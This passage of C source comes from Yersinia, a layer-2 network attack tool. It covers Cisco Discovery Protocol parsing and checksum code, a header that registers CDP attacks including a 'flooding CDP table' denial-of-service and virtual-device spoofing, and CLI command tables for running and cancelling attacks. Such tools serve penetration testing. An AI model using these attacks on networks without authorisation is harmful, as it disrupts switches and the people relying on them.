LBL_ALIGN memcpy((void *)&aux_short, (void *)&cdp->checksum, 2); snprintf(field_values[CDP_CHECKSUM], 5, "%04X", aux_short); #else snprintf(field_values[CDP_CHECKSUM], 5, "%04X", cdp->checksum); #endif buf_ptr = buffer; total = 0; /* TLV */ /* Take care: options in the store are stored in network byte order */ for ( p=cdp->extra ; p ; p = dlist_next( cdp->extra, p ) ) { item = (struct commands_param_extra_item *) dlist_data(p); ptr = item->value; i = 0; while( i < protocols[PROTO_CDP].extra_nparams ) { if ( protocols[PROTO_CDP].extra_parameters[i].id == item->id ) { strncpy(buf_ptr, protocols[PROTO_CDP].extra_parameters[i].ldesc, strlen((char *)protocols[PROTO_CDP].extra_parameters[i].ldesc)); buf_ptr += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1; total += strlen(protocols[PROTO_CDP].extra_parameters[i].ldesc) + 1; /* Now copy the value */ strncpy(buf_ptr, (char *)ptr, protocols[PROTO_CDP].extra_parameters[i].size_print); total += strlen(buf_ptr) + 1; buf_ptr += strlen(buf_ptr) + 1; } i++; } } total++; if ( total > 0 ) { field_values[CDP_TLV] = (char *)calloc( 1, total ); if ( field_values[CDP_TLV] ) memcpy( (void *)field_values[CDP_TLV], (void *)buffer, total ); else write_log( 0, "error in calloc\n" ); } free( buffer ); return (char **)field_values; } char * cdp_get_type_info(u_int16_t type) { u_int8_t i; i = 0; while (cdp_type_desc[i].desc) { if (cdp_type_desc[i].type == type) return cdp_type_desc[i].desc; i++; } return "(Unknown)"; } /* Take care: options in the store are stored in network byte order */ int8_t cdp_load_values( struct pcap_data *data, void *values ) { struct libnet_802_3_hdr *ether; struct cdp_data *cdp = (struct cdp_data *)values; ; struct commands_param_extra_item *newitem; u_char *cdp_data, *ptr; #ifdef LBL_ALIGN u_int16_t aux_short; #endif u_int8_t i; u_int16_t type, len, total; ether = (struct libnet_802_3_hdr *) data->packet; cdp_data = (u_char *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(cdp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(cdp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); /* Version */ cdp->version = *((u_int8_t *)cdp_data); /* TTL */ cdp->ttl = *((u_int8_t *)cdp_data + 1); /* Checksum... it is something boring to change the ck to 0... better we can * avoid it... #ifdef LBL_ALIGN memcpy((void *)&aux_short, cdp_data+2, 2); cdp->checksum = ntohs(aux_short); #else cdp->checksum = ntohs(*(u_int16_t *)(cdp_data + 2)); #endif */ ptr = cdp_data + 4; i = 0; total = 0; if (cdp->extra) dlist_delete(cdp->extra); /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV) && (total < MAX_TLV*MAX_VALUE_LENGTH)) { if ((ptr+4) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ return 0; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); type = ntohs(aux_short); memcpy((void*)&aux_short,(ptr+2),2); len = ntohs(aux_short); #else type = ntohs(*(u_int16_t *)ptr); len = ntohs(*(u_int16_t *)(ptr + 2)); #endif if ((ptr + len) > data->packet + data->header->caplen) return -1; /* Oversized packet!! */ if (!len) return 0; /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if ((len >= 4) && (total + len < MAX_TLV*MAX_VALUE_LENGTH)) { if ((newitem = (struct commands_param_extra_item *) calloc(1, sizeof(struct commands_param_extra_item))) == NULL) { write_log(0, "Error in calloc\n"); return -1; } if ((newitem->value = (u_int8_t *) calloc(1, len - 4)) == NULL) { free( newitem ); write_log(0, "Error in calloc\n"); return -1; } memcpy((void *)&newitem->id, (void *)&type, 2); memcpy((void *)newitem->value, (void *)(ptr + 4), len - 4); cdp->extra = dlist_append(cdp->extra, (void *)newitem); } i++; ptr += len; total += len; } cdp->options_len = total; return 0; } int8_t cdp_update_field(int8_t state, struct term_node *node, void *value) { struct cdp_data *cdp_data; if (node == NULL) cdp_data = protocols[PROTO_CDP].default_values; else cdp_data = node->protocol[PROTO_CDP].tmp_data; switch(state) { /* Source MAC */ case CDP_SMAC: memcpy((void *)cdp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case CDP_DMAC: memcpy((void *)cdp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case CDP_VER: cdp_data->version = *(u_int8_t *)value; break; /* TTL */ case CDP_TTL: cdp_data->ttl = *(u_int8_t *)value; break; /* Checksum */ case CDP_CHECKSUM: cdp_data->checksum = *(u_int16_t *)value; break; default: break; } return 0; } int8_t cdp_init_attribs(struct term_node *node) { struct cdp_data *cdp_data; cdp_data = node->protocol[PROTO_CDP].tmp_data; cdp_data->version = CDP_DFL_VERSION; cdp_data->ttl = CDP_DFL_TTL; attack_gen_mac(cdp_data->mac_source); cdp_data->mac_source[0] &= 0x0E; parser_vrfy_mac("01:00:0C:CC:CC:CC", cdp_data->mac_dest); cdp_data->options_len = 0; cdp_data->extra = NULL; return 0; } void * cdp_get_extra_field(struct term_node *node, void *extra, u_int8_t write) { struct cdp_data *cdp_data; cdp_data = node->protocol[PROTO_CDP].tmp_data; if (write) cdp_data->extra = extra; return cdp_data->extra; } /* returns the checksum * WARNING: if left over bytes are present, the memory after *data has to * contain 0x00 series and should be part of the buffer * -> make the buffer for data at least count+1 bytes long ! */ u_int16_t cdp_chksum(u_int8_t *data, u_int32_t count) { u_int32_t sum; u_int16_t *wrd; sum = 0; wrd = (u_int16_t *)data; while( count > 1 ) { sum = sum + *wrd; wrd++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) { /* printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8));*/ sum = sum + ((*wrd &0xFF)<<8); } /* Fold 32-bit sum to 16 bits */ while (sum >> 16) { sum = (sum & 0xffff) + (sum >> 16); } return (~sum); } int8_t cdp_tlv_devid(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_DEVID, value) < 0) return -1; return 0; } int8_t cdp_tlv_portid(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_PORTID, value) < 0) return -1; return 0; } int8_t cdp_tlv_version(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_VERSION, value) < 0) return -1; return 0; } int8_t cdp_tlv_platform(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_PLATFORM, value) < 0) return -1; return 0; } int8_t cdp_tlv_address(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; if (cdp_create_tlv_item(node->protocol[PROTO_CDP].tmp_data, CDP_TYPE_ADDRESS, value) < 0) return -1; return 0; } int8_t cdp_end(struct term_node *node) { struct cdp_data *cdp_data; cdp_data = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data; if (cdp_data->extra) dlist_delete(cdp_data->extra); return 0; } /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/cdp.h
/* cdp.h * Definitions for Cisco Discovery Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __CDP_H__ #define __CDP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define CDP_VERSION 0x01 #define CDP_TYPE_DEVID 0x0001 #define CDP_TYPE_ADDRESS 0x0002 #define CDP_TYPE_PORTID 0x0003 #define CDP_TYPE_CAPABILITY 0x0004 #define CDP_TYPE_VERSION 0x0005 #define CDP_TYPE_PLATFORM 0x0006 #define CDP_TYPE_IPPREFIX 0x0007 #define CDP_TYPE_PROTOCOL_HELLO 0x0008 #define CDP_TYPE_VTP_MGMT_DOMAIN 0x0009 #define CDP_TYPE_NATIVE_VLAN 0x000A #define CDP_TYPE_DUPLEX 0x000B #define CDP_TYPE_VOIP_VLAN_REPLY 0x000E #define CDP_TYPE_VOIP_VLAN_QUERY 0x000F #define CDP_TYPE_MTU 0x0011 #define CDP_TYPE_TRUST_BITMAP 0x0012 #define CDP_TYPE_UNTRUSTED_COS 0x0013 #define CDP_TYPE_SYSTEM_NAME 0x0014 #define CDP_TYPE_SYSTEM_OID 0x0015 #define CDP_TYPE_MANAGEMENT_ADDR 0x0016 #define CDP_TYPE_LOCATION 0x0017 #define CDP_CAP_LEVEL3_ROUTING 0x01 #define CDP_CAP_LEVEL2_TRANS_BRIDGE 0x02 #define CDP_CAP_LEVEL2_SROUTE_BRIDGE 0x04 #define CDP_CAP_LEVEL2_SWITCH 0x08 /*without STP */ #define CDP_CAP_LEVEL3_ENABLE 0x10 #define CDP_CAP_NON_FORW_IGMP 0x20 #define CDP_CAP_LEVEL1 0x40 #define CDP_TLV_TYPE 0 #define CDP_SMAC 0 #define CDP_DMAC 1 #define CDP_VER 2 #define CDP_TTL 3 #define CDP_CHECKSUM 4 #define CDP_TLV 5 /* Default values */ #define CDP_DFL_VERSION CDP_VERSION #define CDP_DFL_TTL 3*60 /* CDP mode stuff */ struct cdp_data { /* CDP and Ethernet fields*/ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; u_int8_t ttl; u_int16_t checksum; /* u_int8_t tlv_devid[MAX_VALUE_LENGTH+1]; u_int8_t tlv_portid[MAX_VALUE_LENGTH+1]; u_int8_t tlv_platform[MAX_VALUE_LENGTH+1]; u_int8_t tlv_version[MAX_VALUE_LENGTH+1]; u_int32_t tlv_address;*/ u_int8_t options[MAX_TLV*MAX_VALUE_LENGTH]; u_int16_t options_len; void *extra; }; static const struct tuple_type_desc cdp_type_desc[] = { { CDP_TYPE_DEVID, "DevID" }, { CDP_TYPE_ADDRESS, "Addresses" }, { CDP_TYPE_PORTID, "Port ID" }, { CDP_TYPE_CAPABILITY, "Capabilities" }, { CDP_TYPE_VERSION, "Software version" }, { CDP_TYPE_PLATFORM, "Platform" }, { CDP_TYPE_IPPREFIX, "IP Prefix/Gateway" }, { CDP_TYPE_PROTOCOL_HELLO, "Protocol Hello" }, { CDP_TYPE_VTP_MGMT_DOMAIN, "VTP Domain" }, { CDP_TYPE_NATIVE_VLAN, "Native VLAN" }, { CDP_TYPE_DUPLEX, "Duplex" }, { CDP_TYPE_VOIP_VLAN_REPLY, "VoIP VLAN Reply" }, { CDP_TYPE_VOIP_VLAN_QUERY, "VoIP VLAN Query" }, { CDP_TYPE_MTU, "MTU"}, { CDP_TYPE_TRUST_BITMAP, "Trust Bitmap" }, { CDP_TYPE_UNTRUSTED_COS, "Untrusted CoS" }, { CDP_TYPE_SYSTEM_NAME, "System Name" }, { CDP_TYPE_SYSTEM_OID, "System ObjectID" }, { CDP_TYPE_MANAGEMENT_ADDR, "Management Addr" }, { CDP_TYPE_LOCATION, "Location" }, { 0, NULL }, }; static struct attack_param cdp_tlv[] = { { NULL, "DevID", 15, FIELD_STR, 15, NULL }, { NULL, "Addresses", 4, FIELD_IP, 15, NULL }, { NULL, "Port ID", 15, FIELD_STR, 15, NULL }, { NULL, "Capabilities", 4, FIELD_HEX, 8, NULL }, { NULL, "Software version", 15, FIELD_STR, 15, NULL }, { NULL, "Platform", 15, FIELD_STR, 15, NULL } }; static struct proto_features cdp_features[] = { { F_LLC_CISCO, 0x2000 }, { -1, 0 } }; static const struct tuple_type_desc cdp_tlv_desc[] = { { 0, NULL } }; int8_t cdp_tlv_devid(void *, void *, char *); int8_t cdp_tlv_platform(void *, void *, char *); int8_t cdp_tlv_address(void *, void *, char *); int8_t cdp_tlv_portid(void *, void *, char *); int8_t cdp_tlv_version(void *, void *, char *); /* Struct needed for using protocol fields within the network client */ struct commands_param cdp_comm_params[] = { { CDP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { CDP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { CDP_VER, "version", "Version", 1, FIELD_HEX, "Set cdp version", " <0x00-0xFF> cdp version", 2, 2, 0, NULL, NULL }, { CDP_TTL, "ttl", "TTL", 1, FIELD_HEX, "Set cdp ttl", " <0x00-0xFF> cdp Time To Live", 2, 2, 1, NULL, NULL }, { CDP_CHECKSUM, "checksum", "Checksum", 2, FIELD_HEX, "Set cdp checksum", " <0x00-0xFFFF> Packet checksum", 4, 2, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL }, { CDP_TLV, "tlv", "TLV", 0, FIELD_EXTRA, "", "", 0, 0, 0, NULL, NULL} }; struct commands_param_extra cdp_params_tlv[] = { { CDP_TYPE_DEVID, "devid", "DevID", MAX_STRING_SIZE, FIELD_STR, "Set Device ID", " WORD Device ID", MAX_STRING_SIZE, 1, NULL }, { CDP_TYPE_ADDRESS, "address", "Addresses", 4, FIELD_IP, "Set IP Address", " A.A.A.A IPv4 address", 15, 0, NULL }, { CDP_TYPE_PORTID, "portid", "Port ID", MAX_STRING_SIZE, FIELD_STR, "Set Port ID", " WORD Port ID", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_CAPABILITY, "capab", "Capabilities", 4, FIELD_HEX, "Set Capabilities", " <0x00-0xFFFFFFFF> Capabilities", 8, 0, NULL }, { CDP_TYPE_VERSION, "swversion", "Software version", MAX_STRING_SIZE, FIELD_STR, "Set SW Version", " WORD SW Version", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_PLATFORM, "platform", "Platform", MAX_STRING_SIZE, FIELD_STR, "Set Platform", " WORD Platform", MAX_STRING_SIZE, 0, NULL }, { CDP_TYPE_IPPREFIX, "gateway", "IP Prefix/Gateway", 4, FIELD_IP, "Set Gateway", " A.A.A.A IPv4 address", 15, 0, NULL }, /* { CDP_TYPE_PROTOCOL_HELLO, "Protocol Hello" },*/ { CDP_TYPE_VTP_MGMT_DOMAIN, "vtpdomain", "VTP Domain", MAX_STRING_SIZE, FIELD_STR, "Set VTP Domain", " WORD VTP Domain", MAX_STRING_SIZE, 0, NULL }, /* { CDP_TYPE_NATIVE_VLAN, "Native VLAN" }, { CDP_TYPE_DUPLEX, "Duplex" }, { CDP_TYPE_VOIP_VLAN_REPLY, "VoIP VLAN Reply" }, { CDP_TYPE_VOIP_VLAN_QUERY, "VoIP VLAN Query" }, { CDP_TYPE_MTU, "MTU"}, { CDP_TYPE_TRUST_BITMAP, "Trust Bitmap" }, { CDP_TYPE_UNTRUSTED_COS, "Untrusted CoS" },*/ { CDP_TYPE_SYSTEM_NAME, "system", "System Name", MAX_STRING_SIZE, FIELD_STR, "Set System Name", " WORD System Name", MAX_STRING_SIZE, 0, NULL }/* { CDP_TYPE_SYSTEM_OID, "System ObjectID" }, { CDP_TYPE_MANAGEMENT_ADDR, "Management Addr" }, { CDP_TYPE_LOCATION, "Location" },*/ }; #define CDP_ATTACK_SEND_CDP 0 #define CDP_ATTACK_FLOOD_CDP 1 #define CDP_ATTACK_VIRTUAL_DEVICE 2 void cdp_th_send_raw(void *); void cdp_th_send_raw_exit(struct attacks *); void cdp_th_flood(void *); void cdp_th_flood_exit(struct attacks *); void cdp_th_virtual_device(void *); void cdp_th_virtual_device_exit(struct attacks *); static struct _attack_definition cdp_attack[] = { { CDP_ATTACK_SEND_CDP, "sending CDP packet", NONDOS, SINGLE, cdp_th_send_raw, NULL, 0 }, { CDP_ATTACK_FLOOD_CDP, "flooding CDP table", DOS, CONTINOUS, cdp_th_flood, NULL, 0 }, { CDP_ATTACK_VIRTUAL_DEVICE, "Setting up a virtual device", NONDOS, CONTINOUS, cdp_th_virtual_device, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void cdp_register(void); int8_t cdp_send(struct attacks *); void cdp_send_hellos(void *); int8_t cdp_create_tlv_item(struct cdp_data *, u_int16_t, void *); int8_t cdp_update_tlv_item(struct cdp_data *, u_int16_t, char *); int8_t cdp_edit_tlv(struct term_node *, u_int8_t, u_int8_t, u_int16_t, u_int8_t *); char **cdp_get_printable_packet(struct pcap_data *); char **cdp_get_printable_store(struct term_node *); int8_t cdp_load_values(struct pcap_data *, void *); int8_t cdp_update_field(int8_t, struct term_node *, void *); int8_t cdp_init_attribs(struct term_node *); void *cdp_get_extra_field(struct term_node *, void *, u_int8_t); void cdp_send_exit(struct attacks *); char * cdp_get_type_info(u_int16_t); u_int16_t cdp_chksum(u_int8_t *, u_int32_t); int8_t cdp_init_comms_struct(struct term_node *); int8_t cdp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern void attack_gen_mac(u_int8_t *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_random_string(u_int8_t *, u_int8_t); extern int8_t parser_get_random_int(u_int8_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C/C++
yersinia/src/commands-struct.h
/* commands.h * Definitions for Cisco CLI commands structures * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __COMMANDS_STRUCT_H__ #define __COMMANDS_STRUCT_H__ #define ANY_PROTO 255 #define LIST_PROTO 254 #define LIST_PARAM 253 struct commands { u_int8_t proto; /* Valid for what protocol? */ char *s; /* descr */ int8_t states[5]; /* Valid for what state? */ char *help; /* Help text */ char *params; /* Parameters */ int8_t (*command)(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); struct commands *strcom; }; int8_t command_prueba(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_cls(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_exit(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_enable(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_disable(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_run_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_cancel_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_clear_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_set_proto(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_attacks(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_history(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_users(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_interfaces(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_version(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_stats(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_params(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_stats(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); int8_t command_show_proto_attacks(struct term_node *, struct words_array *, int16_t, int8_t, int8_t, u_int8_t, struct commands *, int8_t); struct commands comm_cancel[]={ { ANY_PROTO, "all", { 0, 0, 0, 1, 0 }, "Cancel all attacks", "<cr>", command_cancel_proto, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Cancel attacks for", NULL, command_cancel_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_clear[]={ { ANY_PROTO, "all", { 0, 0, 0, 1, 0 }, "Clear all stats", "<cr>", command_clear_proto, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Clear stats for", NULL, command_clear_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_run[]={ { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Run attacks for", NULL, command_run_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_set_proto[]={ { LIST_PARAM, NULL, { 0, 0, 0, 1, 0 }, " ", NULL, command_set_proto, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_set[]={ { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Set params for", NULL, NULL, comm_set_proto }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_show_proto[]={ { ANY_PROTO, "attacks", { 0, 0, 1, 1, 0 }, "Show running protocol attacks", "<cr>", command_show_proto_attacks, NULL }, { ANY_PROTO, "params", { 0, 0, 0, 1, 0 }, "Show protocol params for attacks", "<cr>", command_show_proto_params, NULL }, { ANY_PROTO, "stats", { 0, 0, 0, 1, 0 }, "Show protocol statistics", "<cr>", command_show_proto_stats, NULL }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_show[]={ { ANY_PROTO, "attacks", { 0, 0, 1, 1, 0 }, "Show running attacks", "<cr>", command_show_attacks, NULL }, { ANY_PROTO, "history", { 0, 0, 1, 1, 0 }, "Display the session command history", "<cr>", command_show_history, NULL }, { ANY_PROTO, "interfaces", { 0, 0, 1, 1, 0 }, "Interface status", "<cr>", command_show_interfaces, NULL }, { ANY_PROTO, "stats", { 0, 0, 1, 1, 0 }, "Show statistics", "<cr>", command_show_stats, NULL }, { ANY_PROTO, "users", { 0, 0, 1, 1, 0 }, "Display information about terminal lines", "<cr>", command_show_users, NULL }, { ANY_PROTO, "version", { 0, 0, 1, 1, 0 }, "System hardware and software status", "<cr>", command_show_version, NULL }, { LIST_PROTO, NULL, { 0, 0, 0, 1, 0 }, "Show info for", NULL, NULL, comm_show_proto }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0 }, NULL, NULL, NULL, NULL } }; struct commands comm_common[]={ { ANY_PROTO, "cancel", { 0, 0, 0, 1, 0 }, "Cancel running attack", NULL, NULL, comm_cancel }, { ANY_PROTO, "clear", { 0, 0, 0, 1, 0 }, "Clear stats", NULL, NULL, comm_clear }, { ANY_PROTO, "cls", { 0, 0, 1, 1, 0 }, "Clear screen", "<cr>", command_cls, NULL }, { ANY_PROTO, "disable",{ 0, 0, 0, 1, 0 }, "Turn off privileged commands", "<cr>", command_disable, NULL }, { ANY_PROTO, "enable", { 0, 0, 1, 0, 0 }, "Go to administration level", "<cr>", command_enable, NULL }, { ANY_PROTO, "exit", { 0, 0, 1, 1, 0 }, "Exit from current level", "<cr>", command_exit, NULL }, { ANY_PROTO, "prueba", { 0, 0, 0, 1, 0 }, "Test command", "<cr>", command_prueba, NULL }, { ANY_PROTO, "run", { 0, 0, 0, 1, 0 }, "Run attack", NULL, NULL, comm_run }, { ANY_PROTO, "set", { 0, 0, 0, 1, 0 }, "Set specific params for protocols", NULL, NULL, comm_set }, { ANY_PROTO, "show", { 0, 0, 1, 1, 0 }, "Show running system information", NULL, NULL, comm_show }, { ANY_PROTO, NULL, { 0, 0, 0, 0, 0,}, NULL, NULL, NULL, NULL } }; #endif
C
yersinia/src/commands.c
/* commands.c * Implementation of Cisco CLI commands * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include "commands.h" int8_t command_entry_point( struct term_node *node, struct words_array *warray, int8_t help, int8_t as_param, int8_t tab ) { int8_t fail; fail = command_main( node, warray, 0, help, as_param, ANY_PROTO, comm_common, tab ); return fail; } int8_t command_main( struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t prot, struct commands *aux_comm, int8_t tab ) { int8_t fail, last; char msg[128]; u_int8_t last_proto, proto, j, gotit, par_comm; struct commands_param *prot_comms; struct term_vty *vty = node->specific; last_proto = prot; par_comm = 0; if (warray->word[warray->indx]) { if (!(warray->word[warray->indx+1])) last = 1; else last = 0; } else last = 0; if (!warray->word[warray->indx] && (help || tab)) /* We have just a help '?' or a TAB */ { fail = command_list_help(node, aux_comm, prot); vty->repeat_command = 1; return fail; } if (last && ( (help || tab) && !as_param)) /* Last word and 'set?' or 'set\t'*/ { j = gotit = 0; if (last_proto<MAX_PROTOCOLS) proto = last_proto; else proto = ANY_PROTO; par_comm = 255; fail = command_list_help2( node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 0); if (fail < 0) return -1; if (!gotit) /* Bad word!! */ { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); vty->repeat_command = 0; } else { vty->repeat_command = 1; if (gotit>1) fail = command_list_help2( node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1 ); else { if (gotit == 1) { if (help) fail = command_list_help2( node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 1 ); else /* TAB */ { if (aux_comm[j].proto == LIST_PARAM) { prot_comms = protocols[proto].parameters; fail = term_vty_tab_subst(node, warray->word[warray->indx], prot_comms[par_comm].desc); } else if (aux_comm[j].proto == ANY_PROTO) fail = term_vty_tab_subst(node, warray->word[warray->indx], aux_comm[j].s); else fail = term_vty_tab_subst(node, warray->word[warray->indx], protocols[proto].name_comm); } } } } return fail; } /* We don't have help and last word...*/ if (!help && !tab && !warray->word[warray->indx]) { snprintf(msg,sizeof(msg),"\r\n%% Incomplete command."); fail = term_vty_write(node,msg, strlen(msg)); return fail; } j = gotit = 0; if (last_proto<MAX_PROTOCOLS) proto = last_proto; else proto = ANY_PROTO; par_comm = 255; fail = command_list_help2( node, warray->word[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm,0 ); if (fail < 0) return fail; if (!gotit) /* Bad word!! */ { if (help || as_param) { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); } else fail = 